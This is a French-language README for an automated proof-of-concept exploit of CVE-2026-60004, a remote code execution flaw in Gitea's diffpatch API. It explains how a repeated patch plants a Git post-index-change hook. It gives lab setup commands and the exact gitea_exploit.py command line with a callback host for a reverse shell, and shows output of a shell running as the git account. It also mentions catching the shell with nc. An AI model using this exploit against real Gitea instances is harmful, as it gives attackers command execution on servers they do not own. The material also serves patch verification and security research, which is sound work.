
Exploit de preuve de concept automatisé pour CVE-2026-60004, une RCE via le hook Git diffpatch de Gitea qui installe un hook post-index-change afin d'obtenir un reverse shell avec le compte de service.
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
CVE-2026-60004 est une vulnérabilité d'exécution de code à distance (RCE) dans Gitea. L'API
diffpatchapplique un patch fourni avecgit apply --cached, ce qui devrait uniquement toucher l'index et ne jamais écrire de fichiers sur le disque. En envoyant le même patch deux fois, un attaquant force une collision add/add qui déclenche le repli de fusion à trois voies de Git (-3). Ce chemin ignore--cachedet extrait le fichier dans l'arbre de travail. Comme le clone temporaire est bare, la racine de son arbre de travail est$GIT_DIR. Un patch qui crée un exécutable dépose donc un hook Git actif, que Git exécute automatiquement lors de la prochaine mise à jour de l'index — exécutant des commandes sous le compte de service Gitea. Le point de terminaison nécessite un accès en écriture au dépôt, mais l'inscription est activée par défaut, donc tout utilisateur pouvant s'inscrire et créer un dépôt peut l'atteindre.
hooks/post-index-change| Catégorie | Version |
|---|---|
| Vulnérable | Gitea 1.17 ≤ version ≤ 1.27.0 |
| Corrigée | Gitea 1.27.1 ou ultérieure |
git)Construisez et lancez l'environnement Gitea vulnérable. L'inscription est laissée ouverte et le
serveur embarque Git 2.32+, ce qui active le repli -3 sur lequel repose l'attaque.
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| Prérequis | État dans ce lab |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
Git 2.32+ sur le serveur (active -3) | 2.54 |
| Inscription ouverte | activée (par défaut) |
| Accès en écriture au dépôt | via un compte auto-inscrit |
L'exploit est entièrement automatisé par gitea_exploit.py. Étant donné un compte pouvant
créer un dépôt, il crée le dépôt cible, soumet le même patch
de façon répétée jusqu'à ce que le repli -3 de Git se déclenche, et capture le reverse shell avec un
listener intégré — aucune configuration manuelle, création de patch ou calcul de hash de blob nécessaire.
# python3 gitea_exploit.py <target ip:port> <callback ip> [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
Le repli -3 ne se déclenche que dans certaines fenêtres temporelles, donc le script boucle
create → send → send jusqu'à ce qu'il réussisse (25 tentatives par défaut). Quand un envoi bloque,
le hook s'est déclenché et le listener vous ouvre un shell en tant que git :
[*] attempt 3/25 -> send#1 201, send#2 timeout <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)
Options :
--no-listen — capturer le shell avec votre propre nc externe au lieu du listener intégré--user / --pw / --repo / --branch — remplacer le compte par défaut et le dépôt cibleDISABLE_REGISTRATION=true)